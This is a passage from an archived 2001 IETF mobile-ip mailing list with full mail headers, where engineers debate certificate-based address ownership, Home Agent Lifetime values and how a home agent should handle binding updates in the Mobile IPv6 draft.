doesn't address this specific problem directly.

http://www.crypto.com/papers/draft-blaze-ipsp-trustmgt-XX.txt


--Pekka



From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 22 15:30:13 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA21198
	for <mobileip-archive@odin.ietf.org>; Thu, 22 Nov 2001 15:30:12 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id MAA03153;
	Thu, 22 Nov 2001 12:29:13 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA15852;
	Thu, 22 Nov 2001 12:29:06 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAMKSHLS000190
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 22 Nov 2001 12:28:17 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAMKSH0Z000189
	for mobile-ip-dist; Thu, 22 Nov 2001 12:28:17 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAMKSELS000180
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 12:28:14 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA06186;
	Thu, 22 Nov 2001 12:27:53 -0800 (PST)
Received: from sj-msg-core-3.cisco.com (sj-msg-core-3.cisco.com [171.70.157.152])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA11261;
	Thu, 22 Nov 2001 13:27:56 -0700 (MST)
Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27])
	by sj-msg-core-3.cisco.com (8.11.3/8.9.1) with ESMTP id fAMKSAH14206;
	Thu, 22 Nov 2001 12:28:10 -0800 (PST)
Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53])
	by mira-sjc5-7.cisco.com (Mirapoint)
	with ESMTP id AAJ63877;
	Thu, 22 Nov 2001 12:27:37 -0800 (PST)
Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id MAA23664; Thu, 22 Nov 2001 12:28:12 -0800 (PST)
From: Michael Thomas <mat@cisco.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15357.24539.922025.192589@thomasm-u1.cisco.com>
Date: Thu, 22 Nov 2001 12:28:11 -0800 (PST)
To: mobile-ip@sunroof.eng.sun.com
Cc: Jari Arkko <Jari.Arkko@lmf.ericsson.se>,
        Erik Nordmark <Erik.Nordmark@eng.sun.com>
Subject: Re: [mobile-ip] Additional comments on   draft-arkko-mipv6-bu-security-00.txt
In-Reply-To: <3BFD5A58.5030409@nomadiclab.com>
References: <Roam.SIMC.2.0.6.1006363802.26131.nordmark@bebop.france>
	<3BFD5A58.5030409@nomadiclab.com>
X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid
X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4m<D]vnFJ>u!4x[/Z4t{V}~L]+Sk
 @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd
 bUcI'1!
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Pekka Nikander writes:
 > >>If we had SPKI and not X.509, the address ownership
 > >>would be a lot easier to solve.
 > >>
 > > 
 > > How? Anything I can read to learn how SPKI is different in solving
 > > this issue?
 > 
 > 
 > Well, one way to explain is to say that both SPKI and KeyNote2
 > allow the access control list to be included into the certificate,
 > so to say.  In this respect both SPKI and KeyNote2 have the same
 > level of expressing power, even though in some other ways KeyNote2
 > is more expressive.

   I know this is pretty far afield, but I have a hard time
   reconciling how you could scale a PKI based authentication/ 
   authorization scheme with longish lived certificates, with
   the ever increasing realization that IP addresses (or at least
   their prefixes) should be viewed as transient. To work properly,
   you'd want certs with lifetimes roughly equivalent to the
   lifetime of addresses, which I would think shouldn't be more
   than a day or two maximum. Issuing signed certificates that
   often makes me shudder at what CA could keep up with a large scale
   deployment...

		Mike


From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 22 19:34:10 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA23329
	for <mobileip-archive@odin.ietf.org>; Thu, 22 Nov 2001 19:34:09 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id QAA01665;
	Thu, 22 Nov 2001 16:31:38 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA19233;
	Thu, 22 Nov 2001 16:28:27 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAN0ReLS000473
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 22 Nov 2001 16:27:40 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAN0ReH0000472
	for mobile-ip-dist; Thu, 22 Nov 2001 16:27:40 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAN0RYLS000465
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 16:27:34 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA00248
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 16:27:35 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA25527
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 16:27:34 -0800 (PST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id QAA28335
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 16:27:34 -0800 (PST)
X-Delivered-For: <mobile-ip@sunroof.eng.sun.com>
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fAN0RXH02844
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 16:27:33 -0800
X-mProtect:  Thu, 22 Nov 2001 16:27:33 -0800 Nokia Silicon Valley Messaging Protection
Received: from UNKNOWN (172.18.5.139, claiming to be "iprg.nokia.com")
	by darkstar.iprg.nokia.com(P1.5 smtpdk6YdaJ; Thu, 22 Nov 2001 16:27:31 PST
X-Mozilla-Status: 0801
Message-ID: <3BFD9790.7040507@iprg.nokia.com>
Date: Thu, 22 Nov 2001 16:25:52 -0800
From: Vijay Devarapalli <vijayd@iprg.nokia.com>
User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1
X-Accept-Language: en-us
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] Home Agent Lifetime
References: <20011121172039.3a66ac0e.yukiyo_akisada@yokogawa.co.jp> <20011122203955.26fffed6.yukiyo_akisada@yokogawa.co.jp>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

hi,

Yukiyo Akisada wrote:

> Oops, I made a mistake.
> 
> 
> 
> On Wed, 21 Nov 2001 17:20:39 +0900
> Yukiyo Akisada <yukiyo_akisada@yokogawa.co.jp> wrote:
> 
> 
>>chapter 6.X "New Advertisement Interval Option Format"
>>says that a value of 0 MUST NOT be used.
>>
> 
> The correct one is chapter 6.X "New Home Agent Information Option Format",
> and says that a value of 0 MUST NOT be used as Home Agent Lifetime.
> 


I guess this has to be changed. a value of 0 should be used when the
home agent wants to stop being a home agent. the value of 0 would enable
the other home agents on the link to delete this home agent from their
Home Agents list.


Vijay


> 
> 
> 
>>But, chapter 9.X "Receiving Router Advertisement Messages"
>>says that when received home agent lifetime value is zero,
>>immediately delete this entry in the Home Agents List.
>>
>>So, can I use zero as the value?, or not?
>>
> 
> 
> 
> Regards, again.
> 
> 
> 
> ----
> Yukiyo Akisada @ TAHI Project
> 





From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 22 19:34:14 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA23340
	for <mobileip-archive@odin.ietf.org>; Thu, 22 Nov 2001 19:34:13 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id QAA01662;
	Thu, 22 Nov 2001 16:31:38 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA19234;
	Thu, 22 Nov 2001 16:28:28 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAN0RLLS000453
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 22 Nov 2001 16:27:21 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAN0RK2F000452
	for mobile-ip-dist; Thu, 22 Nov 2001 16:27:20 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAN0RHLS000445
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 16:27:17 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA19064
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 16:26:56 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA23637
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 16:27:18 -0800 (PST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id QAA28324
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 16:27:18 -0800 (PST)
X-Delivered-For: <mobile-ip@sunroof.eng.sun.com>
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fAN0RH302562
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 16:27:17 -0800
X-mProtect:  Thu, 22 Nov 2001 16:27:17 -0800 Nokia Silicon Valley Messaging Protection
Received: from UNKNOWN (172.18.5.139, claiming to be "iprg.nokia.com")
	by darkstar.iprg.nokia.com(P1.5 smtpd0ytFKy; Thu, 22 Nov 2001 16:27:15 PST
X-Mozilla-Status: 0801
Message-ID: <3BFD9631.5010802@iprg.nokia.com>
Date: Thu, 22 Nov 2001 16:20:01 -0800
From: Vijay Devarapalli <vijayd@iprg.nokia.com>
User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1
X-Accept-Language: en-us
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] draft 15
References: <200111221715.fAMHF6D22962@givry.rennes.enst-bretagne.fr>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

hi,

I would support option 3. send an error status in a binding ack
to the MN. this is easier to implement.

vijay

Francis Dupont wrote:

>    A couple more points to add:
>    
>    - A BU replaces the existing one. So if the MN
>      sends a BU without the H flag it should really
>      replace the existing BU. 
>    
> => this the option 1) but here HA implementors said this is hard to
> implement and this should never happen.
> 
>    - The scenario may need some clarification in the
>      draft, because there maybe cases where the 
>      MN actually has a connection with the HA (the HA
>      is my PC at home). In this case we need to define
>      the behaviour of the HA, ie. :
>      - Send packets with the router header for traffic 
>        initiated from within the HA.
>      - intercept and tunnel packets as usual.
>    
> => this behavior is already defined if you add the home agent address
> (the address the MN knows to be its HA address, the HA may have other
> addresses and for them it is a regular CN for the MN, in fact usually
> the MN doesn't know the other addresses).
> Section 9.4 begins with a statement about section 8.9 applicability,
> the only not-very-clear answer is about packets from HA with other
> source addresses (routing-header or tunnel) but Peter Grimstrup's
> question is about a Home Registration followed by a Binding Update
> to the *same* address!
>    
> Regards
> 
> Francis.Dupont@enst-bretagne.fr
> 
> PS: about other addresses of a multi-addressed CN the consensus in
> this list is to manage binding cache per address in order to allow
> the MN to get a fine control of the care-of address it want to use.
> But the current spec has enough flexibility: one can implement what
> he wants without to trap by a sequencing bug or all bad things
> that can happen with a careless shared binding cache.
> I don't believe this has to be changed...
> 





From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 22 19:35:46 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA23365
	for <mobileip-archive@lists.ietf.org>; Thu, 22 Nov 2001 19:35:46 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA01533;
	Thu, 22 Nov 2001 17:32:40 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA19161;
	Thu, 22 Nov 2001 16:28:18 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAN0RQLS000463
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 22 Nov 2001 16:27:26 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAN0RQOZ000462
	for mobile-ip-dist; Thu, 22 Nov 2001 16:27:26 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAN0RMLS000455
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 16:27:22 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA00234
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 16:27:23 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA23655
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 16:27:23 -0800 (PST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id QAA28328
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 16:27:23 -0800 (PST)
X-Delivered-For: <mobile-ip@sunroof.eng.sun.com>
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fAN0RMD02703
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 16:27:22 -0800
X-mProtect:  Thu, 22 Nov 2001 16:27:22 -0800 Nokia Silicon Valley Messaging Protection
Received: from UNKNOWN (172.18.5.139, claiming to be "iprg.nokia.com")
	by darkstar.iprg.nokia.com(P1.5 smtpdITWX85; Thu, 22 Nov 2001 16:27:20 PST
X-Mozilla-Status: 0801
Message-ID: <3BFD96D0.4030906@iprg.nokia.com>
Date: Thu, 22 Nov 2001 16:22:40 -0800
From: Vijay Devarapalli <vijayd@iprg.nokia.com>
User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1
X-Accept-Language: en-us
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] MIPv6 7.1
References: <Pine.LNX.4.33.0111221514250.25741-100000@netcore.fi>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Basically replace the source address of the received packet
by the address stored in the home address option. this is the
right interpretation.

vijay

Pekka Savola wrote:

> Hello all,
> 
> I was checking my old mails, and there was a comment on MIPv7 section 7.1 
> there:
> 
> =====
> --8<--
>  the following requirements apply to ALL
>    IPv6 nodes (whether host or router, whether mobile or stationary):
> 
>     -  Every IPv6 node MUST be able to process a Home Address option
>         received in any IPv6 packet                                 
>     [...]
> --8<--                             
> 
> what does 'be able to process' mean in this context?  Recognize and be
> able to parse it?  Parse it and MUST have the processing enabled?
> =====
> 
> I'm assuming the latter, but there could be many interpretations.
> 
> Any thoughts?
> 
> 





From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov 23 02:29:04 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA14730
	for <mobileip-archive@odin.ietf.org>; Fri, 23 Nov 2001 02:29:03 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id AAA19891;
	Fri, 23 Nov 2001 00:27:40 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id XAA08288;
	Thu, 22 Nov 2001 23:26:32 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAN7PeLS001221
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 22 Nov 2001 23:25:40 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAN7Pd6p001220
	for mobile-ip-dist; Thu, 22 Nov 2001 23:25:39 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAN7PaLS001213
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 23:25:36 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id XAA12325
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 23:25:15 -0800 (PST)
Received: from iproxy2.ericsson.dk (iproxy2.ericsson.dk [213.159.160.69])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id AAA18819
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 23 Nov 2001 00:25:19 -0700 (MST)
Received: from unixmail.ted.dk.eu.ericsson.se (knud.ted.dk.eu.ericsson.se [192.66.4.246])
	by iproxy2.ericsson.dk (8.10.1/8.10.1) with ESMTP id fAN7PYD16936
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 23 Nov 2001 08:25:35 +0100 (MET)
Received: from ted.ericsson.dk (petg.ted.dk.eu.ericsson.se [192.66.4.85])
	by unixmail.ted.dk.eu.ericsson.se (8.10.1/8.10.1/TEDmain-1.0) with ESMTP id fAN7PYL28153;
	Fri, 23 Nov 2001 08:25:34 +0100 (MET)
Message-ID: <3BFDF9ED.B9F4303@ted.ericsson.dk>
Date: Fri, 23 Nov 2001 08:25:33 +0100
From: "Peter Grimstrup (TED)" <peter.grimstrup@ted.ericsson.dk>
Organization: Ericsson Telebit A/S
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.14-5.0 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] draft 15
References: <4DA6EA82906FD511BE2F00508BCF053801C4C0A7@Esealnt861.al.sw.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Thanks for the swift responses,

But if the MN doesn't know this router is its HA, it may ask
another to be that. That will hopefully be rejected by DAD,
thus leading to further confusion/action and communication
from the MN. This speaks against option 2)

/Peter

"Hesham Soliman (ERA)" wrote:
> 
> => Why don't we go for 2) ?
> The effect would be that the HA will continue to intercept
> packets and if corresponding with the MN, the applications
> will still work.
> The issue here is how to avoid the tunnel interface.
> 
> Cheers,
> Hesham

-- 
Peter Grimstrup          Systems Developer
Ericsson Telebit A/S     tel: +45 89 38 52 75
Skanderborgvej 232       fax: +45 89 38 51 01
DK 8260 Viby J, Denmark  e-mail: peter.grimstrup@ted.ericsson.dk


From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov 23 02:54:29 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA14934
	for <mobileip-archive@odin.ietf.org>; Fri, 23 Nov 2001 02:54:29 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id XAA28408;
	Thu, 22 Nov 2001 23:53:25 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id XAA14223;
	Thu, 22 Nov 2001 23:52:52 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAN7qELS001390
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 22 Nov 2001 23:52:14 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAN7qEFT001389
	for mobile-ip-dist; Thu, 22 Nov 2001 23:52:14 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAN7qALS001382
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 23:52:10 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id XAA10287
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 23:52:10 -0800 (PST)
Received: from iproxy2.ericsson.dk (iproxy2.ericsson.dk [213.159.160.69])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id XAA04067
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 23:52:09 -0800 (PST)
Received: from unixmail.ted.dk.eu.ericsson.se (knud.ted.dk.eu.ericsson.se [192.66.4.246])
	by iproxy2.ericsson.dk (8.10.1/8.10.1) with ESMTP id fAN7q8D20672
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 23 Nov 2001 08:52:08 +0100 (MET)
Received: from ted.ericsson.dk (petg.ted.dk.eu.ericsson.se [192.66.4.85])
	by unixmail.ted.dk.eu.ericsson.se (8.10.1/8.10.1/TEDmain-1.0) with ESMTP id fAN7q7L01197;
	Fri, 23 Nov 2001 08:52:07 +0100 (MET)
Message-ID: <3BFE0027.221F7C4B@ted.ericsson.dk>
Date: Fri, 23 Nov 2001 08:52:07 +0100
From: "Peter Grimstrup (TED)" <peter.grimstrup@ted.ericsson.dk>
Organization: Ericsson Telebit A/S
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.14-5.0 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] draft 15
References: <4DA6EA82906FD511BE2F00508BCF053801C4C0A8@Esealnt861.al.sw.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Comments inline

/Peter

"Hesham Soliman (ERA)" wrote:
> 
>   >   >registered _with_ the H-bit set.
>   >   >What would be a sensible reaction?
>   >   >1) Stop intercepting packets and just work as a usual CN
>   >   >2) Ignore the missing H-bit in the BU
>   >   >3) ?
>   >
>   >    => Why don't we go for 2) ?
>   >    The effect would be that the HA will continue to intercept
>   >    packets and if corresponding with the MN, the applications
>   >    will still work.
>   >
>   > => to send back an error won't flush the binding cache entry.
>   >
